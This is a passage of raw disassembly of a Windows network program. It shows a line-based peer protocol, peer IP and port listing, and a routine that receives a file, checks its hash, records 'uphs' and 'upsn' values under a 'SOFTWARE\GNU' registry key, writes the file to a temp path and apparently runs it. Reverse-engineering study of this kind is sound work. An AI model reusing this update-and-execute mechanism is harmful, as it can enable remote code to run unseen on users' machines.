XREF: .text:0040A674j cmp al, 2 jnz short loc_40A6C7 push offset dword_4304C0 jmp short loc_40A68F ; --------------------------------------------------------------------------- loc_40A68A: ; CODE XREF: .text:0040A670j ; .text:0040A67Dj push offset dword_4304BC loc_40A68F: ; CODE XREF: .text:0040A688j push esi call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40A6BC push offset dword_4304B8 push esi call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40A6BC call sub_404869 mov ecx, esi call loc_416FDE test eax, eax jz short loc_40A6C7 loc_40A6BC: ; CODE XREF: .text:0040A699j ; .text:0040A6AAj push dword ptr [edi+0B90h] call sub_40C201 loc_40A6C7: ; CODE XREF: .text:0040A681j ; .text:0040A6BAj mov al, [edi+7B4h] cmp al, 3 jz short loc_40A6D8 cmp al, 1 jnz short loc_40A6FB mov edi, [ebp-10h] loc_40A6D8: ; CODE XREF: .text:0040A6CFj mov eax, [ebp-18h] push 0 push dword ptr [eax] push dword ptr [ebp+30h] push dword ptr [edi+0B90h] push dword ptr [edi+0DC4h] push esi push edi loc_40A6F0: ; CODE XREF: .text:0040A586j mov ebx, ds:dword_43810C call sub_40BF38 loc_40A6FB: ; CODE XREF: .text:0040A65Fj ; .text:0040A6D3j mov ebx, [ebp-10h] loc_40A6FE: ; CODE XREF: .text:0040A546j ; .text:0040A55Fj ... mov esi, [ebp-18h] mov eax, offset dword_438164 call sub_413F72 mov eax, ds:dword_438168 test eax, eax jz loc_40A40A mov ecx, ds:dword_43816C sub ecx, eax sar ecx, 2 cmp ecx, 0C8h jbe loc_40A40A lea ecx, [eax+4] push ecx push eax lea ebx, [ebp+30h] mov esi, offset dword_438164 call sub_40C2C2 jmp loc_40B20A ; --------------------------------------------------------------------------- loc_40A746: ; CODE XREF: .text:0040A40Fj ; .text:0040AB8Bj ... mov esi, [ebp-1Ch] push offset asc_42FF68 ; "\r\n" push 2 pop ebx call sub_414F40 test eax, eax jz loc_40B3E1 push offset dword_4303D0 push 7 mov edi, esi push dword ptr [edi] lea eax, [ebp-44h] call sub_4147C2 add esp, 0Ch cmp eax, 0Bh mov [ebp-18h], eax jnz short loc_40A780 push 0Ch jmp short loc_40A7D3 ; --------------------------------------------------------------------------- loc_40A780: ; CODE XREF: .text:0040A77Aj cmp eax, 0Ch jnz short loc_40A792 mov edi, [ebp-10h] call sub_40B72F jmp loc_40AB81 ; --------------------------------------------------------------------------- loc_40A792: ; CODE XREF: .text:0040A783j cmp eax, 9 jnz short loc_40A7F1 mov eax, [ebp-10h] cmp dword ptr [eax+7B8h], 0 jnz loc_40AB81 cmp dword ptr [eax+7DCh], 3 jnz loc_40AB81 cmp dword ptr [ebp-40h], 0 jz loc_40AB81 push offset off_4305D4 push dword ptr [ebp-40h] call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_40A7E7 push 0Dh loc_40A7D3: ; CODE XREF: .text:0040A77Ej push offset aD ; "%d\r\n" loc_40A7D8: ; CODE XREF: .text:0040A87Fj mov edi, [ebp-14h] call sub_414CA6 pop ecx loc_40A7E1: ; CODE XREF: .text:0040A7EFj pop ecx jmp loc_40AB81 ; --------------------------------------------------------------------------- loc_40A7E7: ; CODE XREF: .text:0040A7CFj push dword ptr [ebp-40h] call sub_408F96 jmp short loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A7F1: ; CODE XREF: .text:0040A795j cmp eax, 8 jnz loc_40A884 mov eax, [ebp-10h] cmp dword ptr [eax+7B8h], 1 jnz loc_40AB81 xor ebx, ebx mov [ebp+30h], ebx loc_40A80F: ; CODE XREF: .text:0040A876j call sub_409351 cmp eax, 64h jbe short loc_40A81E push 64h pop eax jmp short loc_40A823 ; --------------------------------------------------------------------------- loc_40A81E: ; CODE XREF: .text:0040A817j call sub_409351 loc_40A823: ; CODE XREF: .text:0040A81Cj cmp ebx, eax jnb short loc_40A878 lea eax, [ebp-0FC4h] push eax lea eax, [ebp+30h] call sub_408E9D push 48h mov esi, eax pop ecx lea edi, [ebp-5A4h] rep movsd push dword ptr [ebp-4A4h] lea eax, [ebp-5A4h] push eax mov eax, 100h lea edi, [ebp-8A4h] call sub_4094D4 mov eax, edi mov edi, [ebp-14h] push eax push 9 push offset aDS ; "%d|%s\r\n" call sub_414CA6 add esp, 18h inc ebx jmp short loc_40A80F ; --------------------------------------------------------------------------- loc_40A878: ; CODE XREF: .text:0040A825j push 9 push offset aDEnd ; "%d|END\r\n" jmp loc_40A7D8 ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: .text:0040A7F4j cmp eax, 0Dh jnz short loc_40A8BF mov eax, [ebp-10h] mov al, [eax+7B4h] cmp al, 2 jnz short loc_40A89F loc_40A896: ; DATA XREF: .text:00434A5Co ; .text:00434AA0o ... cmp ds:dword_435F70, 1Eh ja short loc_40A8B0 loc_40A89F: ; CODE XREF: .text:0040A894j cmp al, 3 jnz loc_40A92A cmp ds:dword_435F78, 0Ah jbe short loc_40A92A loc_40A8B0: ; CODE XREF: .text:0040A89Dj mov eax, [ebp-14h] push 2 call sub_414DBA jmp loc_40AB81 ; --------------------------------------------------------------------------- loc_40A8BF: ; CODE XREF: .text:0040A887j cmp eax, 0Eh jnz loc_40A94C cmp dword ptr [ebp-40h], 0 jz loc_40AB81 push dword ptr [ebp-40h] call sub_41D59C mov esi, offset a21 ; "21" push esi mov edi, eax call sub_41D59C cmp edi, eax pop ecx pop ecx jle short loc_40A910 mov edi, [ebp-14h] push 0Fh push offset aD ; "%d\r\n" call sub_414CA6 mov eax, [ebp-10h] pop ecx pop ecx mov dword ptr [eax+7DCh], 4 jmp loc_40AB81 ; --------------------------------------------------------------------------- loc_40A910: ; CODE XREF: .text:0040A8EBj push dword ptr [ebp-40h] call sub_41D59C push esi mov edi, eax call sub_41D59C cmp edi, eax pop ecx pop ecx jge loc_40AB81 loc_40A92A: ; CODE XREF: .text:0040A8A1j ; .text:0040A8AEj push offset a21 ; "21" call sub_41D59C mov edi, [ebp-14h] push eax push 0Eh push offset aDD_0 ; "%d|%d\r\n" call sub_414CA6 add esp, 10h jmp loc_40AB81 ; --------------------------------------------------------------------------- loc_40A94C: ; CODE XREF: .text:0040A8C2j cmp eax, 0Fh jnz loc_40AB17 push offset aSoftwareGnu ; "SOFTWARE\\GNU" push 80000001h lea esi, [ebp-54h] call sub_40D8DC xor edi, edi lea eax, [ebp-17Ch] mov [ebp-4], edi call sub_417057 or dword ptr [ebp+30h], 0FFFFFFFFh push 80h push 4 push 1 push 80000000h mov byte ptr [ebp-4], 1 call sub_404B0D push eax lea eax, [ebp+30h] call sub_405CAD mov esi, ds:dword_4291BC push edi push dword ptr [ebp+30h] call esi ; GetFileSize test eax, eax jbe short loc_40A9E9 loc_40A9AB: ; CODE XREF: .text:0040A9E7j push 0 lea eax, [ebp-58h] push eax push 400h lea eax, [ebp-13C4h] push eax push dword ptr [ebp+30h] call ds:dword_429108 ; ReadFile mov ebx, [ebp-58h] lea eax, [ebp-13C4h] push eax lea eax, [ebp-17Ch] call sub_41707B pop ecx push 0 push dword ptr [ebp+30h] add edi, ebx call esi ; GetFileSize cmp edi, eax jb short loc_40A9AB loc_40A9E9: ; CODE XREF: .text:0040A9A9j lea eax, [ebp-0ACh] push eax lea edi, [ebp-17Ch] call sub_417107 pop ecx push 10h pop edi lea eax, [ebp-60h] push eax lea eax, [ebp-8Ch] push eax push 0 push 0 push offset aUphs ; "uphs" push dword ptr [ebp-54h] mov [ebp-60h], edi call ds:dword_429004 ; RegQueryValueExA push offset aUpsn ; "upsn" lea eax, [ebp-54h] push eax call sub_40D93E test eax, eax jz loc_40AAF1 push edi lea eax, [ebp-8Ch] push eax lea eax, [ebp-0ACh] push eax call sub_41D290 add esp, 0Ch test eax, eax jnz loc_40AAF1 xor ebx, ebx push ebx push ebx push ebx lea eax, [ebp+30h] push eax call sub_405DBE push ebx push dword ptr [ebp+30h] call esi ; GetFileSize mov edi, [ebp-14h] push eax push 11h push offset aDD_0 ; "%d|%d\r\n" call sub_414CA6 add esp, 0Ch push ebx push dword ptr [ebp+30h] call esi ; GetFileSize test eax, eax jbe short loc_40AABD loc_40AA85: ; CODE XREF: .text:0040AABBj push 0 lea eax, [ebp-48h] push eax push 400h lea eax, [ebp-13C4h] push eax push dword ptr [ebp+30h] call ds:dword_429108 ; ReadFile push dword ptr [ebp-48h] lea eax, [ebp-13C4h] push eax call sub_414C2D add ebx, [ebp-48h] push 0 push dword ptr [ebp+30h] call esi ; GetFileSize cmp ebx, eax jb short loc_40AA85 loc_40AABD: ; CODE XREF: .text:0040AA83j lea eax, [ebp-68h] push eax lea eax, [ebp-0CA4h] push eax push 0 push 0 push offset aUpsn ; "upsn" push dword ptr [ebp-54h] mov esi, 200h mov [ebp-68h], esi call ds:dword_429004 ; RegQueryValueExA push esi lea eax, [ebp-0CA4h] push eax call sub_414C2D jmp short loc_40AB01 ; --------------------------------------------------------------------------- loc_40AAF1: ; CODE XREF: .text:0040AA2Fj ; .text:0040AA4Ej push edi mov edi, [ebp-14h] push offset aD ; "%d\r\n" call sub_414CA6 pop ecx pop ecx loc_40AB01: ; CODE XREF: .text:0040AAEFj lea esi, [ebp+30h] call sub_405CF2 or dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-54h] call sub_40D8F7 jmp short loc_40AB81 ; --------------------------------------------------------------------------- loc_40AB17: ; CODE XREF: .text:0040A94Fj cmp eax, 10h jz short loc_40AB81 cmp eax, 11h jnz short loc_40AB72 mov eax, [ebp-10h] cmp dword ptr [eax+7DCh], 4 jnz short loc_40AB81 cmp dword ptr [ebp-40h], 0 jz short loc_40AB81 push dword ptr [ebp-40h] mov esi, eax mov dword ptr [esi+7DCh], 5 call sub_41D59C push eax mov [esi+9E8h], eax call sub_41BAB5 push dword ptr [ebp-40h] and dword ptr [esi+9ECh], 0 mov [esi+9E4h], eax call sub_41D59C add esp, 0Ch mov edx, eax jmp loc_40B203 ; --------------------------------------------------------------------------- loc_40AB72: ; CODE XREF: .text:0040AB1Fj cmp eax, 0Ah jnz short loc_40AB81 cmp dword ptr [ebp-2Ch], 0 jnz loc_40B166 loc_40AB81: ; CODE XREF: .text:0040A78Dj ; .text:0040A7A1j ... mov eax, [ebp-10h] cmp byte ptr [eax+7B4h], 1 jnz loc_40A746 mov ecx, eax mov eax, [ecx+7B8h] cmp eax, 1 jnz loc_40AF64 cmp [ebp-18h], eax jnz short loc_40AC0D cmp [ecx+7DCh], eax jnz loc_40A746 mov eax, ecx cmp dword ptr [eax+0A48h], 0 jnz loc_40A746 cmp dword ptr [ebp-40h], 0 jz loc_40A746 push dword ptr [ebp-40h] call sub_41D59C mov esi, [ebp-10h] mov [esi+0B70h], ax mov dword ptr [esp], 118h call sub_41BA91 pop ecx mov ecx, eax xor eax, eax test ecx, ecx jz short loc_40AC02 mov ax, [esi+0B70h] push eax mov eax, esi call sub_40B74E loc_40AC02: ; CODE XREF: .text:0040ABF1j mov [esi+0A48h], eax jmp loc_40A746 ; --------------------------------------------------------------------------- loc_40AC0D: ; CODE XREF: .text:0040ABA5j cmp dword ptr [ebp-18h], 3 jnz loc_40AE14 cmp dword ptr [ebp-3Ch], 0 jz loc_40A746 push dword ptr [ebp-40h] call sub_41D59C mov dword ptr [esp], offset byte_435F54 push dword ptr [ebp-3Ch] mov [ebp+30h], eax call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_40AC48 loc_40AC41: ; CODE XREF: .text:0040AD50j push 0 jmp loc_40B02B ; --------------------------------------------------------------------------- loc_40AC48: ; CODE XREF: .text:0040AC3Fj mov eax, ds:dword_43810C xor edi, edi add eax, 588h mov [ebp-18h], edi call sub_408AF0 test eax, eax mov [ebp-28h], eax jbe loc_40AD1F loc_40AC67: ; CODE XREF: .text:0040AD19j mov eax, ds:dword_43810C mov eax, [eax+58Ch] mov esi, edi shl esi, 2 add eax, esi mov eax, [eax] push 0FFFFFFFFh push dword ptr [eax+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, ds:dword_43810C mov eax, [eax+58Ch] add eax, esi mov eax, [eax] mov eax, [eax+48h] xor ecx, ecx test eax, eax mov [ebp-24h], eax mov [ebp-20h], ecx jbe short loc_40ACFD loc_40ACA4: ; CODE XREF: .text:0040ACFBj mov eax, ds:dword_43810C mov eax, [eax+58Ch] add eax, esi mov eax, [eax] mov eax, [eax+158h] lea eax, [eax+ecx*4] mov eax, [eax] cmp dword ptr [eax+5A4h], 6 jnz short loc_40ACF1 movzx ecx, byte ptr [eax+7B4h] cmp ecx, [ebp+30h] jnz short loc_40ACF1 add eax, 2Ch push eax call sub_414B44 push dword ptr [ebp-14h] mov ebx, eax call sub_414B44 cmp eax, ebx jnz short loc_40ACF1 mov dword ptr [ebp-18h], 1 loc_40ACF1: ; CODE XREF: .text:0040ACC5j ; .text:0040ACD1j ... mov ecx, [ebp-20h] inc ecx cmp ecx, [ebp-24h] mov [ebp-20h], ecx jb short loc_40ACA4 loc_40ACFD: ; CODE XREF: .text:0040ACA2j mov eax, ds:dword_43810C mov eax, [eax+58Ch] add eax, esi mov eax, [eax] push dword ptr [eax+10h] call ds:dword_429138 ; ReleaseMutex inc edi cmp edi, [ebp-28h] jb loc_40AC67 loc_40AD1F: ; CODE XREF: .text:0040AC61j cmp dword ptr [ebp+30h], 3 jnz loc_40ADE7 mov edi, [ebp-14h] push edi call sub_414B44 push eax call ds:dword_429274 ; inet_ntoa push eax mov esi, offset dword_438188 call sub_407331 test eax, eax jz loc_40ADE0 cmp dword ptr [ebp-18h], 0 jnz loc_40AC41 mov ebx, [ebp-10h] push 3 mov eax, ebx call sub_40A2C8 test eax, eax push 4 jz short loc_40ADD9 push offset aD ; "%d\r\n" call sub_414CA6 pop ecx pop ecx mov esi, 100h push esi lea eax, [ebp-6A4h] push eax push edi call sub_414B20 xor eax, eax mov ax, [ebx+0B70h] lea edi, [ebp-484h] push eax lea eax, [ebp-6A4h] push eax mov eax, esi call sub_4094D4 mov eax, edi push eax call sub_408F96 push 0FFFFFFFFh push 0 call sub_40D864 add esp, 14h push 1 push eax push 0 mov eax, edi push eax push 2 push offset dword_4304B8 push ebx mov ebx, ds:dword_43810C call sub_40BF38 jmp loc_40A746 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: .text:0040AD66j mov eax, ebx jmp loc_40B12F ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: .text:0040AD46j push 0Ah jmp loc_40B02B ; --------------------------------------------------------------------------- loc_40ADE7: ; CODE XREF: .text:0040AD23j cmp dword ptr [ebp+30h], 2 jnz loc_40A746 cmp dword ptr [ebp-18h], 0 jnz loc_40A746 mov eax, [ebp-10h] push 2 call sub_40A2C8 test eax, eax push 4 jz loc_40B02B jmp loc_40B118 ; --------------------------------------------------------------------------- loc_40AE14: ; CODE XREF: .text:0040AC11j cmp dword ptr [ebp-18h], 5 jnz loc_40A746 push ds:dword_435F70 mov edi, [ebp-14h] push 6 push offset aDD ; "%d|%d|" call sub_414CA6 mov eax, ds:dword_43810C add esp, 0Ch add eax, 588h call sub_408AF0 xor edi, edi cmp eax, edi mov [ebp-24h], eax mov [ebp+30h], edi jbe loc_40AF51 loc_40AE55: ; CODE XREF: .text:0040AF4Bj mov eax, ds:dword_43810C mov ebx, [ebp+30h] mov eax, [eax+58Ch] shl ebx, 2 add eax, ebx mov eax, [eax] push 0FFFFFFFFh push dword ptr [eax+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, ds:dword_43810C mov ecx, [eax+58Ch] add ecx, ebx mov ecx, [ecx] mov ecx, [ecx+48h] xor edx, edx test ecx, ecx mov [ebp-28h], ecx mov [ebp-20h], edx jbe loc_40AF2F loc_40AE97: ; CODE XREF: .text:0040AF29j mov ecx, [eax+58Ch] add ecx, ebx mov ecx, [ecx] mov ecx, [ecx+158h] lea ecx, [ecx+edx*4] mov esi, [ecx] cmp dword ptr [esi+5A4h], 6 jnz short loc_40AF1F cmp byte ptr [esi+7B4h], 3 jnz short loc_40AF1F test edi, edi jz short loc_40AED0 mov edi, [ebp-14h] push offset asc_430034 ; "," call sub_414CA6 pop ecx loc_40AED0: ; CODE XREF: .text:0040AEC0j mov edi, 100h push edi lea eax, [ebp-380h] push eax lea eax, [esi+2Ch] push eax call sub_414B20 xor eax, eax mov ax, [esi+0B70h] push eax lea eax, [ebp-380h] push eax mov eax, edi lea edi, [ebp-27Ch] call sub_4094D4 mov eax, edi mov edi, [ebp-14h] push eax push offset dword_430384 call sub_414CA6 mov eax, ds:dword_43810C xor edi, edi add esp, 10h inc edi loc_40AF1F: ; CODE XREF: .text:0040AEB3j ; .text:0040AEBCj mov edx, [ebp-20h] inc edx cmp edx, [ebp-28h] mov [ebp-20h], edx jb loc_40AE97 loc_40AF2F: ; CODE XREF: .text:0040AE91j mov eax, [eax+58Ch] add eax, ebx mov eax, [eax] push dword ptr [eax+10h] call ds:dword_429138 ; ReleaseMutex inc dword ptr [ebp+30h] mov eax, [ebp+30h] cmp eax, [ebp-24h] jb loc_40AE55 loc_40AF51: ; CODE XREF: .text:0040AE4Fj mov edi, [ebp-14h] push offset asc_42FF68 ; "\r\n" call sub_414CA6 loc_40AF5E: ; CODE XREF: .text:0040B126j pop ecx jmp loc_40A746 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: .text:0040AB9Cj test eax, eax jnz loc_40A746 cmp dword ptr [ebp-18h], 2 jnz loc_40B0CD mov eax, [ebp-10h] cmp dword ptr [eax+7DCh], 1 jnz loc_40A746 cmp dword ptr [ebp-40h], 0 jz loc_40A746 push offset dword_42FE10 push dword ptr [ebp-40h] call sub_41C730 test eax, eax pop ecx pop ecx jnz loc_40B033 mov eax, ds:dword_435F6C inc eax xor edx, edx cmp ds:dword_435F78, edx mov ds:dword_435F6C, eax jnz short loc_40B02A mov ecx, ds:dword_435F68 cmp ecx, edx jnz short loc_40AFCB cmp eax, 1 jz short loc_40AFFA loc_40AFCB: ; CODE XREF: .text:0040AFC4j test ecx, ecx mov [ebp+30h], ecx fild dword ptr [ebp+30h] jge short loc_40AFDB fadd ds:flt_430D30 loc_40AFDB: ; CODE XREF: .text:0040AFD3j test eax, eax mov [ebp+30h], eax fild dword ptr [ebp+30h] jge short loc_40AFEB fadd ds:flt_430D30 loc_40AFEB: ; CODE XREF: .text:0040AFE3j fdivp st(1), st fcomp ds:flt_430D34 fnstsw ax test ah, 41h jp short loc_40B02A loc_40AFFA: ; CODE XREF: .text:0040AFC9j mov edi, [ebp-14h] push 2 pop ebx push ebx push 3 push offset aDD_0 ; "%d|%d\r\n" mov ds:dword_435F64, edx call sub_414CA6 mov eax, [ebp-10h] add esp, 0Ch mov [eax+0A4Ch], bl mov [eax+7DCh], ebx jmp loc_40A746 ; --------------------------------------------------------------------------- loc_40B02A: ; CODE XREF: .text:0040AFBAj ; .text:0040AFF8j push edx loc_40B02B: ; CODE XREF: .text:0040AC43j ; .text:0040ADE2j ... mov eax, [ebp-10h] jmp loc_40B12F ; --------------------------------------------------------------------------- loc_40B033: ; CODE XREF: .text:0040AFA1j mov eax, ds:dword_435F68 inc eax cmp ds:dword_435F78, 0 mov ds:dword_435F68, eax ja short loc_40B085 cmp eax, 1 mov ecx, ds:dword_435F6C jnz short loc_40B056 test ecx, ecx jz short loc_40B085 loc_40B056: ; CODE XREF: .text:0040B050j test eax, eax mov [ebp+30h], eax fild dword ptr [ebp+30h] jge short loc_40B066 fadd ds:flt_430D30 loc_40B066: ; CODE XREF: .text:0040B05Ej test ecx, ecx mov [ebp+30h], ecx fild dword ptr [ebp+30h] jge short loc_40B076 fadd ds:flt_430D30 loc_40B076: ; CODE XREF: .text:0040B06Ej fdivp st(1), st fcomp ds:flt_430D34 fnstsw ax test ah, 1 jnz short loc_40B08F loc_40B085: ; CODE XREF: .text:0040B045j ; .text:0040B054j mov ds:dword_435F64, 1 loc_40B08F: ; CODE XREF: .text:0040B083j cmp ds:dword_435F64, 1 mov esi, [ebp-10h] mov edi, [ebp-14h] push 2 pop ebx setz al add al, bl mov [esi+0A4Ch], al movzx eax, al push offset byte_435F54 push eax push 3 push offset aDDS ; "%d|%d|%s\r\n" call sub_414CA6 add esp, 10h mov [esi+7DCh], ebx jmp loc_40A746 ; --------------------------------------------------------------------------- loc_40B0CD: ; CODE XREF: .text:0040AF70j cmp dword ptr [ebp-18h], 4 jnz loc_40A746 mov eax, [ebp-10h] cmp dword ptr [eax+7DCh], 2 jnz loc_40A746 mov esi, eax mov al, [esi+0A4Ch] push 3 pop ebx cmp al, bl jnz short loc_40B139 push ebx mov eax, esi call sub_40A2C8 test eax, eax jz short loc_40B12B call sub_409351 cmp eax, 28h jnb short loc_40B116 mov [esi+7DCh], ebx push 8 jmp short loc_40B118 ; --------------------------------------------------------------------------- loc_40B116: ; CODE XREF: .text:0040B10Aj push 0Dh loc_40B118: ; CODE XREF: .text:0040AE0Fj ; .text:0040B114j mov edi, [ebp-14h] push offset aD ; "%d\r\n" call sub_414CA6 pop ecx jmp loc_40AF5E ; --------------------------------------------------------------------------- loc_40B12B: ; CODE XREF: .text:0040B100j mov eax, esi loc_40B12D: ; CODE XREF: .text:0040B164j push 4 loc_40B12F: ; CODE XREF: .text:0040ADDBj ; .text:0040B02Ej call sub_409B12 jmp loc_40A746 ; --------------------------------------------------------------------------- loc_40B139: ; CODE XREF: .text:0040B0F4j cmp al, 2 jnz loc_40A746 mov edx, [ebp-10h] push 2 mov eax, edx call sub_40A2C8 test eax, eax jz short loc_40B162 push edx mov ds:dword_438108, edx call sub_40B64D jmp loc_40A746 ; --------------------------------------------------------------------------- loc_40B162: ; CODE XREF: .text:0040B14Fj mov eax, edx jmp short loc_40B12D ; --------------------------------------------------------------------------- loc_40B166: ; CODE XREF: .text:0040AB7Bj push 10h xor ebx, ebx push ebx push dword ptr [ebp-40h] call sub_41CC5B mov esi, [ebp-10h] push dword ptr [ebp-3Ch] mov [esi+0D9Ch], eax call sub_41D59C push 20h push dword ptr [ebp-38h] mov [esi+0DA0h], eax lea eax, [esi+0DA4h] push eax mov [esi+0B94h], ebx call sub_41C5A0 push dword ptr [ebp-34h] call sub_41D59C push dword ptr [ebp-30h] mov [esi+0DC4h], eax call sub_41D59C push dword ptr [ebp-2Ch] neg eax sbb eax, eax neg eax mov [esi+0DCCh], eax call sub_41D59C add esp, 28h neg eax sbb eax, eax neg eax mov [esi+0DC8h], eax jz short loc_40B1EE mov edx, [esi+0DA0h] mov dword ptr [esi+0B8Ch], 2 jmp short loc_40B203 ; --------------------------------------------------------------------------- loc_40B1EE: ; CODE XREF: .text:0040B1DAj mov dword ptr [esi+0B8Ch], 1 mov [esi+0B98h], ebx mov edx, 200h loc_40B203: ; CODE XREF: .text:0040AB6Dj ; .text:0040B1ECj mov eax, edi call sub_414FF1 loc_40B20A: ; CODE XREF: .text:0040A741j mov ebx, [ebp-10h] jmp loc_40A40A ; --------------------------------------------------------------------------- loc_40B212: ; CODE XREF: .text:0040A41Bj mov eax, [ebx+9ECh] cmp eax, [ebx+9E8h] jnb short loc_40B29A mov esi, [ebp-1Ch] mov eax, esi call sub_41501F mov ecx, esi call sub_415008 push dword ptr [esi] mov ecx, eax lea eax, [ebx+9F0h] mov ebx, ecx call sub_41707B pop ecx mov ecx, esi call sub_415008 push eax push dword ptr [esi] mov esi, [ebp-10h] mov eax, [esi+9E4h] add eax, [esi+9ECh] push eax call sub_41BC60 mov ecx, [ebp-1Ch] add esp, 0Ch call sub_415008 add [esi+9ECh], eax mov eax, [esi+9ECh] cmp eax, [esi+9E8h] jnz short loc_40B297 mov eax, [ebp-1Ch] mov edx, 200h call sub_414FF1 mov eax, esi and dword ptr [eax+7E0h], 0 loc_40B297: ; CODE XREF: .text:0040B27Fj mov ebx, [ebp-10h] loc_40B29A: ; CODE XREF: .text:0040B21Ej mov eax, [ebx+9ECh] cmp eax, [ebx+9E8h] jb loc_40B3E4 mov esi, [ebp-1Ch] mov eax, esi call sub_41501F mov ecx, esi lea edi, [ebx+7E0h] call sub_415008 push dword ptr [esi] mov esi, eax mov eax, edi call sub_40D6E6 mov eax, 200h cmp [edi], eax jnz loc_40B3E4 push eax lea eax, [ebx+7E4h] push eax lea eax, [ebp-5Ch] push eax lea eax, [ebp-0EA4h] push eax mov eax, offset dword_436E90 call sub_418FBD add esp, 10h test eax, eax jnz loc_40B3E4 cmp dword ptr [ebp-5Ch], 10h jnz loc_40B3E4 lea eax, [ebp-7Ch] lea edi, [ebx+9F0h] push eax call sub_417107 push 10h lea eax, [ebp-7Ch] push eax lea eax, [ebp-0EA4h] push eax call sub_41D290 add esp, 10h test eax, eax jnz loc_40B3E4 push offset aSoftwareGnu ; "SOFTWARE\\GNU" push 80000001h lea esi, [ebp-54h] call sub_40D8DC push 10h lea eax, [ebp-7Ch] push eax push 3 xor esi, esi push esi push offset aUphs ; "uphs" push dword ptr [ebp-54h] call ds:dword_429020 ; RegSetValueExA push 200h lea eax, [ebx+7E4h] push eax push offset aUpsn ; "upsn" lea eax, [ebp-54h] call sub_40D9C3 lea eax, [ebp-384h] push eax push 104h call ds:dword_42911C ; GetTempPathA lea eax, [ebp-280h] push eax push esi push esi lea eax, [ebp-384h] push eax call ds:dword_429118 ; GetTempFileNameA or dword ptr [ebp+30h], 0FFFFFFFFh lea eax, [ebp-280h] push eax lea eax, [ebp+30h] call sub_405CD8 push dword ptr [ebx+9E8h] lea eax, [ebp+30h] push dword ptr [ebx+9E4h] push eax call sub_405D4F lea esi, [ebp+30h] call sub_405CF2 lea eax, [ebp-280h] push eax call sub_416F51 loc_40B3E1: ; CODE XREF: .text:0040A758j mov ebx, [ebp-10h] loc_40B3E4: ; CODE XREF: .text:0040A453j ; .text:0040A476j ... push dword ptr [ebp-14h] mov edi, [ebp-1Ch] loc_40B3EA: ; CODE XREF: .text:0040A405j call sub_414EDD test eax, eax jg loc_40A40A loc_40B3F7: ; CODE XREF: .text:0040A3EBj lea esi, [ebx+0B78h] mov eax, esi call sub_416B46 test eax, eax jz short loc_40B44C xor edi, edi cmp [ebx+0B88h], edi jnz short loc_40B43E push 0Bh push offset aD ; "%d\r\n" lea edi, [ebx+2Ch] call sub_414CA6 pop ecx pop ecx mov dword ptr [ebx+0B80h], 27100h call sub_416B0E mov dword ptr [ebx+0B88h], 1 jmp short loc_40B44C ; --------------------------------------------------------------------------- loc_40B43E: ; CODE XREF: .text:0040B410j push edi mov eax, ebx call sub_409B12 mov [ebx+0B80h], edi loc_40B44C: ; CODE XREF: .text:0040B406j ; .text:0040B43Cj mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 2Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B45D proc near ; DATA XREF: .text:00430528o var_220 = byte ptr -220h var_100 = byte ptr -100h push ebp mov ebp, esp sub esp, 220h push ebx mov ebx, ecx mov eax, [ebx+7B8h] test eax, eax push esi push edi jnz loc_40B527 lea edi, [ebx+2Ch] push edi call sub_414B68 cmp ds:dword_435F64, 0 mov [ebx+0B70h], ax jnz short loc_40B4A0 push ebx mov ds:dword_438108, ebx call sub_40B64D jmp short loc_40B4C9 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B45D+33j cmp dword ptr [ebx+7DCh], 0 jnz short loc_40B4C9 call sub_4048C1 movzx eax, ax push eax xor esi, esi inc esi push esi push offset aDD_0 ; "%d|%d\r\n" call sub_414CA6 add esp, 0Ch mov [ebx+7DCh], esi loc_40B4C9: ; CODE XREF: sub_40B45D+41j ; sub_40B45D+4Aj push edi lea esi, [ebx+0A50h] call sub_414B68 lea edi, [ebp+var_100] push eax push esi mov eax, 100h call sub_4094D4 mov eax, edi push eax lea eax, [ebp+var_220] push eax call sub_408CB7 push 48h pop ecx mov esi, eax lea eax, [ebx+0A50h] sub esp, 110h mov edi, eax rep movsd inc dword ptr [ebx+0B54h] push 48h pop ecx mov esi, eax mov edi, esp rep movsd call sub_40925E add esp, 120h jmp short loc_40B534 ; --------------------------------------------------------------------------- loc_40B527: ; CODE XREF: sub_40B45D+16j xor esi, esi inc esi cmp eax, esi jnz short loc_40B534 mov [ebx+7DCh], esi loc_40B534: ; CODE XREF: sub_40B45D+C8j ; sub_40B45D+CFj pop edi pop esi mov dword ptr [ebx+0B80h], 13880h pop ebx leave retn sub_40B45D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B543 proc near ; DATA XREF: .text:off_430524o var_220 = byte ptr -220h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 220h push ebx push esi push edi mov ebx, ecx push 0FFFFFFFFh lea esi, [ebx+7D8h] push dword ptr [esi] call ds:dword_429128 ; WaitForSingleObject mov eax, [ebx+0A48h] xor edi, edi cmp eax, edi jz short loc_40B572 call sub_40B8C8 loc_40B572: ; CODE XREF: sub_40B543+28j push dword ptr [esi] call ds:dword_429138 ; ReleaseMutex cmp ds:dword_438108, ebx jnz short loc_40B599 cmp byte ptr [ebx+7B4h], 2 jnz short loc_40B599 cmp [ebx+7B8h], edi jnz short loc_40B599 mov ds:dword_438108, edi loc_40B599: ; CODE XREF: sub_40B543+3Dj ; sub_40B543+46j ... cmp [ebp+arg_0], 1 jz short loc_40B5A9 cmp [ebp+arg_0], 2 jnz loc_40B630 loc_40B5A9: ; CODE XREF: sub_40B543+5Aj cmp [ebx+7B8h], edi jnz short loc_40B630 xor ecx, ecx mov cx, [ebx+0B50h] lea eax, [ebx+0A50h] lea edi, [ebp+var_100] push ecx push eax mov eax, 100h call sub_4094D4 mov eax, edi push eax lea eax, [ebp+var_220] push eax call sub_408CB7 push 48h pop ecx mov esi, eax lea eax, [ebx+0A50h] sub esp, 110h mov edi, eax rep 